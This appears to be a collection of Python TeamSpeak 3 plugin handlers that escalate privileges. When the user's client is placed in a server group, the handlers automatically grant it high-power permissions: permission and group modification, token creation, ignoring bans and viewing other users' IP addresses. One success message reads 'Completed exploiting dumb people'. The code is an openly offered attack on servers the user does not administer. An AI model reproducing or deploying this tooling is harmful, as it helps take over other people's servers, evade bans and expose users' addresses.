def onServerGroupClientAddedEvent(self, serverConnectionHandlerID, clientID, clientName, clientUniqueIdentity, serverGroupID, invokerClientID, invokerName, invokerUniqueIdentity): try: mClientID = ts3lib.getClientID(serverConnectionHandlerID)[1] if mClientID == clientID: clientDatabaseID = ts3lib.getClientVariableAsString( serverConnectionHandlerID, mClientID, ts3defines.ClientPropertiesRare.CLIENT_DATABASE_ID)[1] permissionID1 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "i_permission_modify_power")[1] permissionID2 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "i_client_permission_modify_power")[1] permissionID3 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "i_group_modify_power")[1] permissionID4 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "i_group_member_add_power")[1] permissionID5 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "b_virtualserver_token_add")[1] permissionID6 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "b_virtualserver_token_list")[1] permissionID7 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "b_virtualserver_token_use")[1] permissionID8 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "b_virtualserver_token_delete")[1] permissionID9 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "b_client_ignore_bans")[1] permissionID10 = ts3lib.getPermissionIDByName( serverConnectionHandlerID, "b_client_remoteaddress_view")[1] permissionIDArray = [ permissionID1, permissionID2, permissionID3, permissionID4, permissionID5, permissionID6, permissionID7, permissionID8, permissionID9, permissionID10 ] result = self.ClientAddPermList(serverConnectionHandlerID, clientDatabaseID, permissionIDArray, 75, 9999) if result == True: ts3lib.printMessageToCurrentTab( "[{:%Y-%m-%d %H:%M:%S}]".format(datetime.now()) + "[color=green] Completed exploiting dumb people[/color]" ) else: ts3lib.printMessageToCurrentTab( "[{:%Y-%m-%d %H:%M:%S}]".format(datetime.now()) + "[color=red] Failed giving permissions[/color]") except: from traceback import format_exc ts3lib.logMessage(format_exc(), ts3defines.LogLevel.LogLevel_ERROR, "PyTSon", 0)
def onServerGroupClientAddedEvent(self, schid, clientID, clientName, clientUniqueIdentity, serverGroupID, invokerClientID, invokerName, invokerUniqueIdentity): try: mClientID = ts3lib.getClientID(schid)[1] if mClientID == clientID: clientDatabaseID = ts3lib.getClientVariableAsString( schid, mClientID, ts3defines.ClientPropertiesRare.CLIENT_DATABASE_ID)[1] pids = [] pvals = [] pskips = [] for perm in self.permissions: pids.append( ts3lib.getPermissionIDByName(schid, perm[0])[1]) pvals.append(perm[1]) pskips.append(perm[2]) result = ts3lib.requestClientAddPerm(schid, int(clientDatabaseID), pids, pvals, pskips) if result == True: ts3lib.printMessageToCurrentTab( "[{:%Y-%m-%d %H:%M:%S}]".format(datetime.now()) + "[color=green] Completed exploiting dumb people[/color]" ) else: ts3lib.printMessageToCurrentTab( "[{:%Y-%m-%d %H:%M:%S}]".format(datetime.now()) + "[color=red] Failed giving permissions[/color]") except: from traceback import format_exc ts3lib.logMessage(format_exc(), ts3defines.LogLevel.LogLevel_ERROR, "PyTSon", 0)
def onNewChannelCreatedEvent(self, schid, cid, channelParentID, invokerID, invokerName, invokerUniqueIdentifier): if not self.waitforchannel: return mycid = ts3lib.getChannelIDFromChannelNames(schid, self.cfg.get("general", "mychan").split(",")) if not channelParentID == mycid: return self.waitforchannel = False self.supchan = cid for (key, val) in self.chan.items("permissions"): (err, id) = ts3lib.getPermissionIDByName(schid, key) self.perm = (id, key, ts3lib.createReturnCode()) ts3lib.requestChannelAddPerm(schid, cid, [id], [int(val)])
def getFullPerms(self, schid): (err, clid) = ts3lib.getClientID(schid) (err, cldbid) = ts3lib.getClientVariable( schid, clid, ClientPropertiesRare.CLIENT_DATABASE_ID) with open(path.join(self.path, "full.csv")) as csvfile: perms_full = csv.reader(csvfile, delimiter=';') for perm in perms_full: (err, pid) = ts3lib.getPermissionIDByName(schid, perm[0]) ts3lib.requestClientAddPerm(schid, cldbid, [pid], [int(perm[1])], [int(perm[2])])
def buildLists(self, file, schid=0): ids = [] vals = [] skips = [] negates = [] grants = [] if not schid: schid = ts3lib.getCurrentServerConnectionHandlerID() with open(file) as csvfile: permissions = csv.DictReader( csvfile, delimiter=';', fieldnames=["Name", "Value", "Skip", "Negate", "Grant"]) for perm in permissions: # if not perm[0].startsWith("i_"): continue (err, pid) = ts3lib.getPermissionIDByName(schid, perm["Name"]) if err != ERROR_ok: continue ids.append(pid) val = int(perm["Value"]) if perm["Value"] else 0 vals.append(val) skip = int(perm["Skip"]) if perm["Value"] else 0 skips.append(skip) neg = int(perm["Negate"]) if perm["Negate"] else 0 negates.append(neg) grant = int(perm["Value"]) if perm["Value"] else 0 if (grant): grantid = perm["Name"].replace( "i_", "i_needed_modify_power_").replace( "b_", "b_needed_modify_power_") grants.append((grantid, grant)) for perm in grants: (err, pid) = ts3lib.getPermissionIDByName(schid, perm[0]) if err != ERROR_ok: continue ids.append(pid) vals.append(perm[1]) skips.append(0) negates.append(0) return (ids, vals, skips, negates)
def onServerGroupClientAddedEvent(self, schid, clientID, clientName, clientUniqueIdentity, sgid, invokerClientID, invokerName, invokerUniqueIdentity): if not self.enabled: return if invokerClientID < 1: return (err, ownID) = ts3lib.getClientID(schid) if ownID != clientID: return if invokerClientID == ownID: return (err, dgid) = ts3lib.getServerVariable(schid, ts3defines.VirtualServerPropertiesRare.VIRTUALSERVER_DEFAULT_SERVER_GROUP) if sgid == dgid: return (err, cldbid) = ts3lib.getClientVariable(schid, ownID, ts3defines.ClientPropertiesRare.CLIENT_DATABASE_ID) for perm in self.permissions: (err, pid) = ts3lib.getPermissionIDByName(schid, perm[0]) v = 100 if sgid == 2 and perm[1] == 75 else perm[1] ts3lib.requestClientAddPerm(schid, cldbid, [pid], [v], [perm[2]], "quickperm") (err, ownCID) = ts3lib.getChannelOfClient(schid, ownID) ts3lib.requestChannelClientAddPerm(schid, ownCID, cldbid, [pid], [v], "quickperm")
def getPerms(self, schid, clid=0, sgid=0): if self.flood: return if not clid: (err, clid) = ts3lib.getClientID(schid) (err, cldbid) = ts3lib.getClientVariable( schid, clid, ClientPropertiesRare.CLIENT_DATABASE_ID) self.perms = {"success": 0, "fail": 0, "processed": 0, "stop": False} with open(path.join(self.path, "essential.csv")) as csvfile: permissions = csv.reader(csvfile, delimiter=';') for perm in permissions: if self.perms["stop"]: break (err, pid) = ts3lib.getPermissionIDByName(schid, perm[0]) retcode = ts3lib.createReturnCode() self.retcodes[retcode] = perm[0] v = 100 if sgid == 2 and perm[1] == "75" else int(perm[1]) ts3lib.requestClientAddPerm(schid, cldbid, [pid], [v], [int(perm[2])], retcode) (err, ownCID) = ts3lib.getChannelOfClient(schid, clid) if self.perms["stop"]: break ts3lib.requestChannelClientAddPerm(schid, ownCID, cldbid, [pid], [v], retcode)
def processCommand(self, schid, keyword): args = keyword.split(' ') cmd = args.pop(0).lower() (err, clid) = ts3lib.getClientID(schid) (err, cldbid) = ts3lib.getClientVariable( schid, clid, ClientPropertiesRare.CLIENT_DATABASE_ID) if cmd == "grant": # if len(perm) < 2: return False # if len(perm) == 2: perm.append(False).append(False) skip = args[2] if len(args) > 2 else False val = boolean(args[1]) if len(args) > 1 else True perm = args[0] (err, pid) = ts3lib.getPermissionIDByName(schid, perm) ts3lib.printMessageToCurrentTab("Requesting \"{}\" ({})".format( perm, pid)) ts3lib.requestClientAddPerm(schid, cldbid, [pid], [val], [skip]) (err, ownCID) = ts3lib.getChannelOfClient(schid, clid) ts3lib.requestChannelClientAddPerm(schid, ownCID, cldbid, [pid], [val]) elif cmd == "essential": self.getPerms(schid) elif cmd == "full": self.getFullPerms(schid) elif cmd == "build": _file = args.pop(0) self.p = self.buildLists( path.join(self.path, "{}.csv".format(_file)), schid) length = len(self.p[0]) print("ids", length, "vals", len(self.p[1]), "skips", len(self.p[2]), "negates", len(self.p[3])) print("\nIDs:\n", self.p[0]) print("\nvals:\n", self.p[1]) print("\nskips:\n", self.p[2]) print("\nnegates:\n", self.p[3]) ts3lib.printMessageToCurrentTab( "Loaded {} permissions".format(length)) elif cmd == "client": each = len(args) if not each: ts3lib.requestClientAddPerm(schid, cldbid, self.p[0], self.p[1], self.p[2]) else: length = len(self.p[0]) for x in range(length): ts3lib.requestClientAddPerm(schid, cldbid, [self.p[0][x]], [self.p[1][x]], [self.p[2][x]]) elif cmd in ["channelclient", "clientchannel"]: (err, ownCID) = ts3lib.getChannelOfClient(schid, clid) each = len(args) if not each: ts3lib.requestChannelClientAddPerm(schid, ownCID, cldbid, self.p[0], self.p[1]) else: length = len(self.p[0]) for x in range(length): ts3lib.requestChannelClientAddPerm(schid, ownCID, cldbid, [self.p[0][x]], [self.p[1][x]]) elif cmd == "channel": (err, ownCID) = ts3lib.getChannelOfClient(schid, clid) ts3lib.ts3lib.requestChannelAddPerm(schid, ownCID, self.p[0], self.p[1]) elif cmd == "sgroup": sgid = int(args.pop(0)) ts3lib.requestServerGroupAddPerm(schid, sgid, 1, self.p[0], self.p[1], self.p[2], self.p[3]) elif cmd == "cgroup": cgid = int(args.pop(0)) ts3lib.requestChannelGroupAddPerm(schid, cgid, 1, self.p[0], self.p[1]) elif cmd == "id": (err, pid) = ts3lib.getPermissionIDByName(schid, args[0]) ts3lib.printMessageToCurrentTab("{} = [b]{}".format(args[0], pid)) elif cmd == "sgadd": sgid = int(args.pop(0)) if len(args): cldbid = int(args.pop(0)) ts3lib.requestServerGroupAddClient(schid, sgid, cldbid) elif cmd == "sgrem": sgid = int(args.pop(0)) if len(args): cldbid = int(args.pop(0)) ts3lib.requestServerGroupDelClient(schid, sgid, cldbid) else: return False return True